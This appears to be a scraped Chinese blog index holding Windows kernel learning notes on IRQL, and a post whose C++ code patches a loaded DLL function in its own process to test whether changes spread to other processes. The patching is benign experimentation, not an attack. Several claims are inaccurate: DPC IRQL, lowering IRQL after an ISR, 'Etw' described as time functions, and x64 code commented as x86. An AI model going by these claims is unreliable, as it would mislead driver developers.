作者在阅读资料后提出：\n何时应当处理中断级别？何时应当修改中断级别？\n何时应当处理中断级别？ 处理中断级别通常是指在内核模式代码中，开发者需要明确当前的IRQL级别，并根据当前IRQL级别调整代码逻辑。以下是一些需要特别关注IRQL的场景：\n调用内核函数时\n每个内核函数都有其允许运行的IRQL级别范围。在调用内核函数之前，必须确认当前IRQL是否符合函数的要求。例如： 大多数内核函数只能在PASSIVE_LEVEL运行。 一些函数可以在APC_LEVEL或DISPATCH_LEVEL运行，但不能访问分页内存。 在DIRQL或HIGH_LEVEL下，几乎无法调用普通内核函数。 如果当前IRQL不符合要求，直接调用这些函数可能导致系统崩溃。 访问硬件资源时\n当驱动程序需要访问硬件设备时，通常需要将IRQL提升到DIRQL级别，以确保在访问硬件资源时不会被其他中断打断。 硬件中断处理例程（ISR）通常运行在DIRQL级别，此时需要特别注意代码的执行效率和安全性。 执行同步操作时\n在高IRQL级别下（如DISPATCH_LEVEL或更高），系统不允许线程切换，因此需要特别注意同步机制的使用。例如： 在DISPATCH_LEVEL下，可以使用自旋锁（Spin Lock）来保护共享资源。 在PASSIVE_LEVEL下，可以使用互斥锁（Mutex）或其他同步原语。 异常处理时\n当系统发生异常（如除零错误、访问违规等）时，异常处理例程会运行在特定的IRQL级别。此时需要根据异常的类型和优先级调整IRQL，以确保异常处理的正确性。 何时应当修改中断级别？ 修改中断级别是指通过内核函数（如KeRaiseIrql或KeLowerIrql）显式地提升或降低当前处理器的IRQL。以下是需要修改IRQL的典型场景：\n进入硬件中断处理\n当硬件设备发出中断请求时，内核会自动将IRQL提升到对应的DIRQL级别，并执行中断服务例程（ISR）。 在ISR中，开发者可能需要进一步提升IRQL以执行某些高优先级操作（如处理关键硬件中断）。 执行高优先级任务\n当需要执行某些高优先级任务时（如系统关键操作），可以将IRQL提升到HIGH_LEVEL，以屏蔽所有中断。 例如，在执行某些原子操作或访问关键链表时，可能需要将IRQL提升到HIGH_LEVEL。 延迟过程调用（DPC）\nDPC用于延迟处理某些非紧急任务，通常运行在DISPATCH_LEVEL以下的IRQL级别。 在DPC中，开发者可能需要将IRQL提升到DISPATCH_LEVEL，以确保DPC的正确执行。 退出中断处理\n当中断处理完成时，需要将IRQL降低到之前的级别，以恢复正常的系统运行。 例如，在ISR或DPC执行完成后，使用KeLowerIrql将IRQL降低到PASSIVE_LEVEL。 避免死锁和性能问题\n在高IRQL级别下，系统资源的访问受到严格限制。如果需要访问某些资源，可能需要将IRQL降低到较低的级别。 例如，如果需要访问分页内存，必须将IRQL降低到PASSIVE_LEVEL。 总结 处理中断级别：在调用内核函数、访问硬件资源、执行同步操作或处理异常时，必须明确当前的IRQL级别，并根据函数或操作的要求调整代码逻辑。 修改中断级别：通过KeRaiseIrql或KeLowerIrql显式地提升或降低IRQL，通常用于进入硬件中断处理、执行高优先级任务、处理DPC或退出中断处理。 合理管理IRQL是确保内核模式代码稳定性和性能的关键。开发者需要根据当前的IRQL级别和操作需求，谨慎地处理和修改IRQL，以避免系统崩溃或性能问题。\n","permalink":"https://t1mmoc.github.io/posts/18736681/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e此随笔为本人笔记，并非系统学习应当使用\u003c/p\u003e\n\u003ch1 id=\"内核\"\u003e内核\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003entoskrnl.exe\u003c/strong\u003e 是 Windows 操作系统的核心内核程序文件，全称为 Windows NT Operating System Kernel。它是 Windows 操作系统正常运行的基础\u003c/p\u003e\n\u003ch1 id=\"内核层级\"\u003e内核层级\u003c/h1\u003e\n\u003cp\u003eR0是内核层，R3是应用层，而R1、R2不使用\u003cbr\u003e\n这样就解决了我之前不理解R1、R2是什么应用的问题\u003c/p\u003e\n\u003cp\u003eWindows内核中主要可以分成三层：\u003cstrong\u003e硬件抽象层\u003c/strong\u003e（HAL），\u003cstrong\u003e内核层\u003c/strong\u003e（也称微内核micro-kernel），\u003cstrong\u003e执行体层\u003c/strong\u003e。\u003c/p\u003e\n\u003ch1 id=\"ntdlldll的功能\"\u003eNtdll.dll的功能\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e作为桥梁：Ntdll.dll是用户模式代码和内核模式系统服务之间的连接纽带。它使得用户模式的应用程序能够方便地调用内核提供的系统服务，而无需直接与内核进行交互，从而保证了系统的稳定性和安全性。\u003c/li\u003e\n\u003cli\u003e提供存根函数：对于内核提供的每一个系统服务，Ntdll.dll都对应提供一个存根函数。这些存根函数的名称以“Nt”作为前缀，例如NtCreateProcess（用于创建进程）、NtOpenFile（用于打开文件）等。存根函数的作用是为用户模式代码提供一个接口，当用户模式代码调用这些存根函数时，Ntdll.dll会将调用请求转发给相应的内核模式系统服务。\u003c/li\u003e\n\u003cli\u003e提供系统级支持函数：除了存根函数，Ntdll.dll还提供了许多系统级的支持函数，用于实现各种系统功能。这些支持函数按照功能不同有不同的前缀，例如：\u003c/li\u003e\n\u003cli\u003e映像加载器函数（以“Ldr”为前缀）：用于加载和管理程序的映像文件，例如LdrLoadDll（加载动态链接库）等。\u003c/li\u003e\n\u003cli\u003e系统时间函数（以“Etw”为前缀）：用于与系统时间相关的操作，例如EtwStartTrace（开始跟踪事件）等。\u003c/li\u003e\n\u003cli\u003e一般的运行支持函数（以“Rtl”为前缀）：提供各种运行时支持功能，例如RtlAllocateHeap（分配堆内存）等。\u003c/li\u003e\n\u003cli\u003e字符串支持函数：用于字符串操作，例如RtlCompareString（比较字符串）等。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"中断请求级别\"\u003e中断请求级别\u003c/h1\u003e\n\u003cp\u003e在Windows操作系统中调用内核函数时，必须关注中断请求级别（IRQL，Interrupt Request Level），原因如下：\u003c/p\u003e","title":"Windows内核学习笔记（一）"},{"content":"前言 本篇并非内核学习，但有点相关，是本人看了内核区域后的遐想。\nAI是一个思考的好工具，但是具体的验证还得亲为。\n这样的问题我曾经也思考过，但是由于编写代码过于麻烦，而现在也该给自己一个答案了。\n**图片太长，点击展开**\n尝试编码 项目结构：\nTestDll：被修改的Dll TestRunner： 运行者，旁观者 DllMemoryInjectTest：修改者，管理员权限 由于已知内核代码是不能修改的，但是同一个dll在代码中的情况，windows会选择隔离进程吗？\n此处省略处理代码异常过程……\n最后会给出代码\n结果 不同程序加载相同dll，其中一个程序修改它自身内存中dll后，另一个程序不会同步修改。\n当我发现修改保护不需要管理员权限时，其实就已经不抱有太大希望了\n但为了完成整个程序，还是写到了最后。\ndll难道都类似于include一样，每一个exe都复制自己的dll吗\n哎，有个问题。\n系统dll也适用这个条件吗？\n这里的基地址完全一样。\n注意到，用户模块的基地址也完全一样\n感觉不抱希望。\n不如直接用xdbg修改试试，没必要写软件了。\n随便改了一个字节，没有同步。\n思考 windows应该不会像Chromium一样，因此抱着怀疑的态度询问了AI\n这篇文章中的说法是不完全准确的。在Windows系统中，DLL（动态链接库）的加载和共享机制并不是通过简单地“复制一份”来实现的，而是通过复杂的内存映射和共享机制来完成的。 关于DLL的共享机制 在Windows中，DLL文件（如kernel32.dll、ntdll.dll等）是被设计为可以被多个进程共享的。当第一个进程加载某个DLL时，系统会将DLL的代码部分加载到内存中，并为该DLL创建一个共享的内存映射。\n当其他进程加载相同的DLL时，系统不会重新加载DLL的代码部分，而是直接映射到已经加载的内存区域。这意味着多个进程可以共享同一个DLL的代码部分，从而节省内存。\nDLL的代码与数据分离： DLL的代码部分（即只读的指令代码）是可以被多个进程共享的，因为代码是只读的，不会被修改。\n而DLL的全局数据部分（如变量等）是每个进程独立的，系统会为每个进程创建独立的数据副本，以避免进程之间的数据冲突。\n基地址相同的原因： 文章中提到“用户模块的基地址完全一样”，这是因为Windows的内存管理机制会尽量将DLL加载到相同的基地址（如果可能的话）。这是为了提高性能和兼容性，但并不意味着DLL被“复制”了。\n如果由于某些原因（如地址空间冲突），DLL无法加载到预期的基地址，系统会进行重定位，但代码部分仍然可以共享。\n关于文章中的实验结果 文章中提到“不同程序加载相同DLL，其中一个程序修改它自身内存中的DLL后，另一个程序不会同步修改”。这个结果是正确的，因为DLL的代码部分是只读的，一旦被修改，实际上是在修改进程的私有内存映射，而不是原始的DLL代码。其他进程仍然会看到原始的DLL代码。\n代码 DllMemoryInjectTest.cpp\n// Program1.cpp #include \u0026lt;windows.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;cstring\u0026gt; // 用于 std::memcmp 和 std::memcpy // 搜索函数 int searchInBuffer(const char* buf, size_t buf_size, const char* target, size_t target_size) { if (buf == nullptr || target == nullptr || buf_size \u0026lt; target_size) { return -1; // 参数无效或目标序列比缓冲区大 } for (size_t i = 0; i \u0026lt;= buf_size - target_size; ++i) { // 使用 std::memcmp 比较目标序列 if (std::memcmp(buf + i, target, target_size) == 0) { return static_cast\u0026lt;int\u0026gt;(i); // 找到匹配，返回位置 } } return -1; // 未找到 } int main() { // 加载DLL HMODULE hDll = LoadLibrary(L\u0026#34;TestDll.dll\u0026#34;); if (!hDll) { printf(\u0026#34;Failed to load DLL\\n\u0026#34;); return 1; } // 获取函数地址 FARPROC originalFunction = GetProcAddress(hDll, \u0026#34;MyFunction\u0026#34;); if (!originalFunction) { printf(\u0026#34;Failed to get function address\\n\u0026#34;); FreeLibrary(hDll); return 1; } // 获取实际函数代码地址 // 跳板指令格式：E9 \u0026lt;相对偏移量\u0026gt; (相对跳转) unsigned char* thunk = (unsigned char*)originalFunction; unsigned int relativeOffset = *(unsigned int*)(thunk + 1); // 获取相对偏移量 void* actualFunction = (void*)((unsigned char*)originalFunction + relativeOffset + 5); // 计算实际函数地址 // 调用修改后的函数 typedef void (*Func)(); Func function = (Func)originalFunction; function(); // 尝试修改代码段的保护属性 DWORD oldProtect; if (!VirtualProtect(actualFunction, 1024, PAGE_EXECUTE_READWRITE, \u0026amp;oldProtect)) { printf(\u0026#34;Failed to change protection\\n\u0026#34;); FreeLibrary(hDll); return 1; } // 尝试修改代码 // 新函数的机器代码（x86/x64汇编实现） // 注意：以下代码为x86架构的实现，如果需要x64架构，需要调整机器代码 unsigned char rawCode[] = { 0x40, 0x55, // push rbp 0x57, // push rdi 0x48, 0x81, 0xEC, 0xE8, 0x00, 0x00, 0x00, // sub rsp, 0xE8 0x48, 0x8D, 0x6C, 0x24, 0x20, // lea rbp, [rsp+20h] 0x48, 0x8D, 0x0D, 0x00, 0x00, 0x00, 0x00, // lea rcx, [rel fmt] (需要修正为字符串地址) 0xE8, 0x00, 0x00, 0x00, 0x00, // call printf (需要修正为printf地址) 0x48, 0x8D, 0xA5, 0xC8, 0x00, 0x00, 0x00, // lea rsp, [rbp+0C8h] 0x5F, // pop rdi 0x5D, // pop rbp 0xC3, // ret \u0026#39;M\u0026#39;, \u0026#39;o\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;f\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39; \u0026#39;, \u0026#39;F\u0026#39;, \u0026#39;u\u0026#39;, \u0026#39;n\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;t\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;o\u0026#39;, \u0026#39;n\u0026#39;, 0x00 // \u0026#34;Modified Function\\0\u0026#34; }; unsigned char newCodeData[] = { \u0026#39;M\u0026#39;, \u0026#39;o\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;f\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;d\u0026#39;, \u0026#39; \u0026#39;, \u0026#39;F\u0026#39;, \u0026#39;u\u0026#39;, \u0026#39;n\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;t\u0026#39;, \u0026#39;i\u0026#39;, \u0026#39;o\u0026#39;, \u0026#39;n\u0026#39;,\u0026#39;\\n\u0026#39;, 0x00 // \u0026#34;Modified Function\\0\u0026#34; }; char search2[] = { 0x5D,0xC3 }; int index2 = searchInBuffer((char*)actualFunction, 60, search2, sizeof(search2)); if (index2 == -1) { printf(\u0026#34;err2\u0026#34;); return -1; } index2 += sizeof(search2); char search1[] = { 0x48,0x8D,0x0D }; int index1 = searchInBuffer((char*)actualFunction, 60, search1, sizeof(search1)); if (index1 == -1) { printf(\u0026#34;err1\u0026#34;); return -1; } index1 += sizeof(search1); int index1_ = searchInBuffer((char*)actualFunction + index1, 60, search1, sizeof(search1)); if (index1_ != -1) { index1 = index1 + index1_ + sizeof(search1); } // 修正字符串地址 char* strLo = (char*)actualFunction + index2; char* ripLo = (char*)actualFunction + index1 + 4; int releative = strLo - ripLo; *(int*)((char*)actualFunction + index1) = releative; memcpy(strLo, newCodeData, sizeof(newCodeData)); // 恢复保护属性 VirtualProtect(actualFunction, 1024, oldProtect, \u0026amp;oldProtect); printf(\u0026#34;Attempted to modify DLL code\\n\u0026#34;); function(); // 保持DLL加载状态，等待用户输入 printf(\u0026#34;Press Enter to exit...\\n\u0026#34;); getchar(); FreeLibrary(hDll); return 0; } TestRunner.cpp\n// Program2.cpp #include \u0026lt;windows.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; int main() { // 加载DLL HMODULE hDll = LoadLibrary(L\u0026#34;TestDll.dll\u0026#34;); if (!hDll) { printf(\u0026#34;Failed to load DLL\\n\u0026#34;); return 1; } // 获取函数地址并调用 typedef void (*Func)(); Func myFunction = (Func)GetProcAddress(hDll, \u0026#34;MyFunction\u0026#34;); if (!myFunction) { printf(\u0026#34;Failed to get function address\\n\u0026#34;); FreeLibrary(hDll); return 1; } // 第一次调用：验证原始状态 printf(\u0026#34;Calling MyFunction (Original State):\\n\u0026#34;); myFunction(); // 等待用户输入，以便程序1修改DLL代码 printf(\u0026#34;Press Enter to continue...\\n\u0026#34;); getchar(); // 第二次调用：验证修改后的状态 printf(\u0026#34;Calling MyFunction (Modified State):\\n\u0026#34;); myFunction(); FreeLibrary(hDll); printf(\u0026#34;Press Enter to exit...\\n\u0026#34;); getchar(); return 0; } dllmain.cpp\n// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include \u0026#34;pch.h\u0026#34; BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern \u0026#34;C\u0026#34; __declspec(dllexport) void MyFunction() { printf(\u0026#34;Original Function\\n\u0026#34;); } 给自己的备份（访客不可用）\n-----BEGIN PGP MESSAGE----- hF4DnuoCued9GJsSAQdArQW7FcuYj5eZIqUi4LGJI/XwRhIk3UJ8ycb2ZgOAQWIw 8+UDTLmw+aTgXuRjnDVqiPWAm7jYP9sBaFRMMxfIkRuDM4yyOHSi3QLwRojDbkB+ hF4DW1qCsSBFMT8SAQdAPLyIdr3YAOlfPEgUhGAJkk9P+p1cqBjrVgIFraeVgHYw JNK0oObmiOcb7JhWTRprmOXuEhZHM5Twh88ZF99WmwGAZj3CwNdQ7O0FZnf0J96+ hF4DIEnyEUOscjQSAQdAUdP+V05caRlkkTGrX2uw+b88o4qhnl5wwgyEqOG9aGAw thpCbw08dR0BqXPgq+6362q2hM7diTRUTSxMocmtWGTnYwx7RhdryOQEVF9WbXOH hF4DCn5kA2Tob28SAQdARmBSjIqdcpJb5i8iwrp5wSHSyILV1Yu0ZvoTRYr5iX4w egEqIz7xqh+hM7FIHycH0oQjzejblK4Naj05kRo1I7OZwI8ogXRISHMgAqjI/pvZ hF4Du5h1xXV7/QESAQdAyGScih+H2CxbZU8ayAdmu4QZzlPgp1S9JPaoh2omTG4w f17m7yYYekgtC0ggs+3DJUkTwpjE2MXgECoxECW5FM0TYFv6M+bor4vijZ9Mx4QE 0uoBGvs8mLHBBg8Swt3yy1Ms67bt7SzhfI823cgZ3I3FxTKEFKpTqn1PCfPVBkVc R7AWzzo7jk74Y1Yb7qKflugFTy5pS+E1PhR872LFi2TuPI/H5u+13/aQ7KTAs06n iYuuZai8FGXsLjtrVzwp92GrsliSnK3nPaw5Y8+aOFF5YfY8uTO4OtblGzTgG3Ur osanKIgFFR7t8g6697qNoV4CpZZlVHsTnaHlJtmO1gY37BgaEClvMRtilrX4wjps lV85X5df7+c6r/UDCs9LtibOKf5SravJ93IovCgqhYO6fVVDv+LRkUsJyuF392lW gUgE3Symm5yyWEj1og8l1ntEu4mN65difRD3p+Vntt7YzIdnAzvMvOn1wQY52KOZ /reKYjwIRqxydEu5RgxHFd8akqOAW2SP6ni30G8+LMxsXq1d8+V3EQHXVLCtp4Zh nRtfzEj78D7vT3L9E1yRA2dOJI1wrqcnICCkWJ0zDxiGzzdwScDwyxWfS5NYG6bb 3ohdbH38opK0TBwwq8SyTYiBOrdigDKCODRITgUh4m/tR6nMUxPb2uhMCJLKsRbR I+5soEAORlVmKObxfYx7ZeyN0Ih85v0OIfOAHYvtxDivQcJWVkkEJxLJTi39rigk un2nHpw4YFt6OmZLU/hzMUVctHoPqPKeA4gflRtk+NmgLFo4SUUGiumziaCN6UiK FWmTlniruUDvbsG3udfTq+oVFpmFaW61dnQBuWTqMpRk/8+wUS9uQWQVw25yI/+D Y3FkBjQsAzJKjC1EYqjNU/cXQZ+t67Wpi/qlg+0sjBBsiOUdi6I3/HnHc8QBfF3H +2qrlqMKyHgFTr5yFZTOYLTdUB9gonol7ZYyTa2+sJmX5Ehd+qQ5K1G/M0wikF3Y M2anTeKTlQf3UYoHB1bN7++3URsYJwmkY8XX5RcN+46cVV+gc3uGYL6FlMyTz8Tm 0fF3lBoU+KVjk8zNAefQ3iVxAFYeZtJ+Ge8VnGqhuhoJMrJjrxc1DoA1Bp89hFVY f4RX9H4O2fV0SvSYoh3ES9cRvjn2Rc8L3fqAIshuvyCtl/oi+1cvgtqZcwPH7lZM MbRSg1mdtP6RyUHRNLL99e5Lax2pqmXFxX0TMaTmtUzNob9q2BYoesNx7W3wjzLh KcnQxbeNORX0/S+iu+oH7ECodmlVKcC/bY5IrH1gqUfkCbij4NgpUWC4DQDgcM6N GiQ9KwDiVm6gHhZvo2Xb2aI193biU4b4n9SeRWdFB92qTT0H88VnXBjWlpsMw1MK YEZNyuEYc/RlHJudSRHNwSjpOWKBNKvY/CiogzUqbgbFSQrqUQJlcyGcWPIcRDB0 k7beUCeHout88ScwWFheQL7D6s6xTsIPyBk9yuwMev8u+IHgHuUcKT/wEeieJ3j9 TJbhy4jJlOrz7LHwg/1ljXu1Yr4qR5pFejBHHaEap1jAFPY+91SDqUhx/EZx0/p+ gcoPxJXmGFSsidIScy/TH0BZ+NjkOUgKNJFUUYADCc/R+QXANwVJBgNvKrK4U35Q EemPllBqedl95B5rpBrk0fgCGBavhj1oktr/Dzpcr1YorsGthJ3fj/KChSt10ag9 AoOBYP1fD5niqTyLMASkT1mOGlUAmw5TtJXpNtIpQCJ3GmksOJmbljS6oQzhKNXL tapliG4VqB+jiD0GU+qfwIPDdtH9B7WpSx8E0fJJNNxbsHW3740c0PdQ3i0p6zbU 9s+rEVpgWsmDSpDnWJDg8S3AzN8UthqJDk+Qa5tbFweMQApfShAo+Sr3u3PnUQFc unU5R3VME/PvBy1kiuaG6Vo06u6AgFZqqlYO+PWeupv6qqFvMDTxMGdunoWLo9sJ 1lF/4OipmlWzjPIkUmVM9B570DOgFne7qXBkuDqZVSr+kpPta6kR7wmV/HZnJ7+N i2rcz82hhIPJK3T0zYqSBK7nAiXZIoAmmaTIwv9ZTsoWnyzJtFGq0ugxLYDMlxBR lMeg0kb6M5oCbGMO4jxfpqD0oeSICRK+wdcj6xtJOk6Mmil+99V+bq2WAEkOWtMJ G3uYEUMXILVJPFvftSTnAz+SFb33+BJfEja57u64IHpe4CjsY2Y3oUnP2NfV2/a/ CwMm0G6FkQgxNEBMemJ/UocScjNl4kpITkBS12a5GSBSLi98RA5zy3acEXerxDmL 6xXOIqLfo3SrgGcrxNYb6yxyPaf3jNo7UbArV+OydSqC1bXTS5URQveXPxWbuhth 05O7VEZGiJEkOZHBN+HqVXhvuL+wqmeQd08Yq1BgWCCKO6hS42MpyhhpkPlXqBNx XLxQs2YBhmaOai4G0IUFKZ8ydcCz/b30ChHGaPfT6vH3FF2CLXpEALBOt7ZKid7Q UOuYCPYh0CxWV/UqTkz8QjydSBFxepGNQ9cSdhfmcow4uPWCHQOjmH3vCOdWfnc5 JO5H+yPXqZdBQHFvDBJ2ZDRrBgq8++wjU613alweo9L4FJStZkiz4X2gnNlLGAu8 2Z+8ZCLg4+48ox5d1v2llZfrGk0HHCaFmN+zrDmqB1otb2T1uOzzElqsKRH+VmzH NUHjouik5F9Ahr5vS1V/JeAamADusDSb1V0h3T9VlPTkBuyjhIErzVHx2pglQan2 +1ELK5i7nbXLc49vJEd8Mi1Raf9cuz2I/lDciUH1iH2jSR8knj0IHqQGDXoVSeKp 0Kqncyw6TFQtK0noa7n0VBlqNo+BwGcUJRm5xCebOyp3tojsgrqLWrM93VH4ae/K ysDctFkwuUVniPItj48Lt5/UA9zcDSRixU+pdqzpANha0oLU4VcdiKUXdI1+rj4L VsLkMiIPh5VZCyTdLi7oV8MD1c97p8d6FfwQYGSxjAkkbmzrNj13W4f+IfD5aHnz nNOAaX7NR0XSPtUr9DKuGRoh+Au5Nql35Aov0MBTOxK7DEZ/U2FywSM5yVOFZmEp Wq311u6mYYHPLF1mQhKuTwWjuXf/A98i4ePX+RsNc/3Kc9TcF9tiu71k1UzG0Tcl tKkfN6Ne/ecYF18y3P+xAVsZd6ATQd+Db3NpK4HjwfbfvcL5qjXHbyolkqpmSuiU 3q3r0B4FVN20GBNVfUzhwSct5SPLWS174ApImb5H2tbdDiI4baXj0EFcTqqaeJZP m0GuMkfd+iP+Vrchr0PTo0lUxEgKOl1u0lA+fao1aQUtk6MFPzBShKbeK1wNeHtv +x+XjNX2QuZdoFFw3wNoM5hOT5xMdu8Gk26i/UVBkBKMjjjMnot8N+W21dwifjHS h2G3iNcoiePvuJ2fZzj8KJ1rpv7HtO6Fjv1yhCJzQj6iSDeUELAdFzrCC4GBBLxu eaC6Nd9+tXpdO6t6dON2Op3yFk4q4jGzbGRh3ARsSoXL53XBz6xPTalwVVQ+MzYO d1OWeR6bbv7dVFNphf36mTMPJzWSCGPa+WwZEe0vCqVVutqfsOpA/0ZSPhfE3vNm u3k2XDQfvbhPehNKE+bwyaXAVp1TgZkIG8z1r/y5/GualfH/eIpCVoaslAxLVE4m 4NXEK3huqSEXssipleWKbVy819JgQPGiwYjQiSM9kuCSKxddtE6ZSGsR1DCFhWcX Y7XMK1PbUYkWI/POb+3vPjdx01+QHYS3d+3duW1hIuz+WN2PkFoMXkKVH2Ew4U9W J6rNVhmMZIgmriuNxE0rkuzSRQ1ffnX4i25iwVVCcc7FesTpf2h4aAwILI6oSEZp yuYkx1PgvauGTuiHqA1wOSGKyr8mrQPP7mNG6WF4EXLuNS67XJqBYwxwiREvoBd1 nNeuwaWuIc0lcOUtMgdD+XDWyKfZ26Tz8cMx8TC19UacFSPzGcwORt3P2H1hZl9X TvH6WWSr+2tU2dBR4iDOmfpM3868GBYacbNPCZ508aZszb6LYuGDFz637sUkh3g4 0LaIhXJ/rBPZJvrJNKLdyBe2ChThMSNa5QtBk+1KyoFA2nIPHPaFQr12cVRqsbS8 ItGnmeZQic4gvIUP2Uqn+wfECjXoDGN1ywwORG5GMi5D/6uleYtZ4SIu+4LYmdbW 7BIbEKJ1qaQV2anTUwKM5yPtuASgYyZQBEQKgnrUIH8yr7nTGXX60J6yhgoZ+OMV J7IlW+QN9ikTbMCOx0gZTw2m3y8YHL8fikHj4niA0v1clmWBArTnOhd3l1aUpvs2 5Pg2UWewIdfaNvTmL+0Q3LZXJQ6V1DYV/szMKI5qgnlzOyYhC0r74E9gVYfsnbDT x7dLeQjoBwrUrm7yZOCGodVSITF2nwxAzTxzAsUZEXTdURXfvp2k6SCCpi/dM/AK zggLl+zf/iSBmebmDmHc5L8QcVJ4k/YI1NPFDnQkLjW8ERclEp7e1x9nG54yaext E5SyUrZxI9HnMpmylYmuTAM5bXb66nh7h+d0WKS8sT9SnK4sOEIaFYcoRiJjOgPb 5AH2dEMvOS/EglF++uISQnbhLY1XOtqyU2FJtkqDmYOnzcE8PzAz2bVK9z74bslz zxxZ6daIzcObji93l70XIl/DVuyM5qa7QNGXkFt3hS0WypWVu4ucViHABjCOXxqU OVKQ1qufqA9RSST1XMbBQGi/aTR4eHvVSgC/HgZejFupSLsRzymDMDtazfnfmeNh eNjQ7AKbyW8WTc27bjLd+iedAvLechDYjRvz8mwcsMKgnzyBdrQ8N9OuvXLMOn3H c9QhEnmF1ajHvbmOuEBTSmLVeBG5lqXlLi2I29Rk22S4cXXcefqtE3lcjFeXGw3R bWK4OhtV20Sd+buVwF/KpT89ofdMpxgKS4nvXwDS3BkzEd0kXwCML6sQBqilXuVd /dqbqaEN9Jsb7tKccEWMTLCZh+BG4Fz79tdOhuB/3qddOdNbZlW5jT0X5gyhOw8L yLKS8sCN3f58TvTwlU1poXUxKie4CYNdw167tQmbcATxnNZ5YuptElktu0X6e8/M aE2Ux37i9gvbFeI6tR6IwI8BIIkoJeAZD4/h5htzMVCuNE7404SZHFKZCQnTt69l kZWtkHcOqk+SByfCC5urwqUnty9kX9ah9rlsy3N6koTUC2Np+MhI0QlIEtBetL31 OBHl1QMVK9gAJwjmBOXcNfKYopTCGhIZVgbb6997UbaFeFNJAjvzCmhveibjSh3G adQwhJVV7Bc3+Ne05wohXH2rcGfgfeejbu1yduBaoGxFBCZ9YhhVC+UEp238EH6U TE4sjpIf9jfo1KLCxDTJWsluEZSGXb5r1c+TvyyOglcGrEFimLtjxZ8qeveeMjbA 4uq1QQp4I64RK3J4XKcouA9Jii1GBlMDNZLK4axr/fMkCDGtUzf1ZGgMJq28uy6h K1GYPkzWDU71QRp79vxOg8zAtsFYDGDCuJk+VFWkIULkanFR1VYUfAy52k4pknez ilXUYEk1Qvh4WPsJ9ro6w9Hr4DPZMjglI0jZK/z72p3Ec4AWH6G271aKSJ8PAvAh Fougcq4KifewtanJkdcZCvYqRAC5Xc1LU3UtzTLQeUFuunqiC8yX/ADFO8RhqnTR U4Epj7gwXq8SfBMwD2zbwwlJCnj6yqx4scGH0SltotGYo2ej2XlOd5oP1L6Odlv1 AhQkRe9RrYCiDInSypdsSDTnfnCk6GyJ/wX4y4Uhh0FWhnvqOraGwV5JssADD5C/ DfMOXkjpIqWqeN1rGSiHFyHg/sSqO8jHR64WlEMT3RdcOQl3al2mmQLj2gORTimM CqhApd4aeGdDQlUxHzuk4P9nCvFna3W7VHpD2+jSDQvmmGsivFB5frmGuFyjDQJy ca1EkQkYJ0JE6asL2AdcCZ5FKqb864Wa+YrPeOca8Pd8E4qRXKgFhx6VzssgGieR v548ikLmXLlZ73r10vOPnvftToH5moDQ2HaNoHiOmtmgrC8/ulzYQXNlDHXrn64q iuGa3RZco9rIeToXfTWsVkNb582Z4PtkeumdXr1LUxkn7r1NoEHKJgYyhOAYJxt3 q5yNYdpobtnQeX00x8cWlGLwxNiUtPMbCxOyLsZLMcdgXCQBJyAKp5sPjqrFuOz2 BHSC+5Ih1lpH1gq8Uju+qzDUPMw2TxvYve59bIsM1zyciT8r+rZgbmyhdIdgAM37 b2LJqSsCQUUcgMbnZJt8Kzfno1Go3jdcSCIBqW8fEo6dJ1VIlbFdv3Px3WcHlU+S mDZVzDwxYt1rIFv90fXWAqca9THn5m6DvcFQti5Xm8bAj2sLFkXo1oUergEzz2Ys gVii6Evph15j2cWPtePPUf6VHnsTF3zO5f8OoU64cyTVR3ox5U2DU17jP0p8D38J UbvrEciscYGPn2+asIJgStkO5zoeTQ8GMhdG56GhY7upuU+DZWtNKC4dDlhjGgqj rL4vuCWAcNrjN+4JGvm7yyupFJiutzXOdCOu/Dl5kztH7TVED/t5XK/i6Hzc4Ngt 48wtb1tzGPu3819F8x2t1kClRd4p15LLAwJQVR5BF282xiVD4/wZIC340JkYgH9C qqfvCrOcPsilwSwjTIlu1/u492ItQl7/7bUXOhyDEMsmlORRItSnKGgBjGNzGoXO 6jgxjoifA0MRWnuiQRfoCs/Sa0ASw0Eq7vS+5HXkZnbKqkkdw9e711cgtCCwtrse Z6Rad9XqeGz/FEx/L6zRkEtYXGjP79LLW5ZhVxNMLEqyDlVvhZimmUejwViH35Ea wNRu3NFL+G5U96bbzL9X1a/cICXVRk1Taxsxoft7bNLGn71aPtzstBAcMcUjuery zjXFgAjXSTV0ZZmWZvYvuCasjK/GL/Qz3C/kOt9O+n6QUYQNbhgzSQqHkpTB3xsT 2hNUR33rVL3I5lZfv/60gNe6cETHYsL3kg9kvdSo9BTn6MAB5Hu6TyrHxaXrBQfe /SRsUxbiQKKC8oC9N2kbppD0vZRusal201wNZZDXdPWv8fsD7BgGGtwrsLgaOEB/ 4wzIrpGkXUpe4TJs2OX3m9znh703O/2KN/d+Z3/PG0DACsIrsxzER/AMSNa7NUNV Qni05PWcmRsRe52gMi6wGg9ReKYHao1XAkhKvG+OaIqNV8LmCvhddqOZY5rvrtRQ PTOsiOgruoJVCgoFd9FjUM02e1zmVb0r5dRQDlrhxGbk9TWdgE7QV+iNREGgMipo /h1GTChPlVp8BCQfEycS1DaZFtRFnwFqtcW5j66Gm6TF6oZrhrmWc//HRdTW1xZj 3BBeusD5DwJB+4k/M5inGhvKO+J7H3aZRupqxVXb40BWugASvP+8d5tUdTRMAA5J 9qDX7jXhC6qNLLQtlgn0y4GLw2d8RrbqSRj+eBt90IgXWG2L3E4rxszvC9Lv5M3b 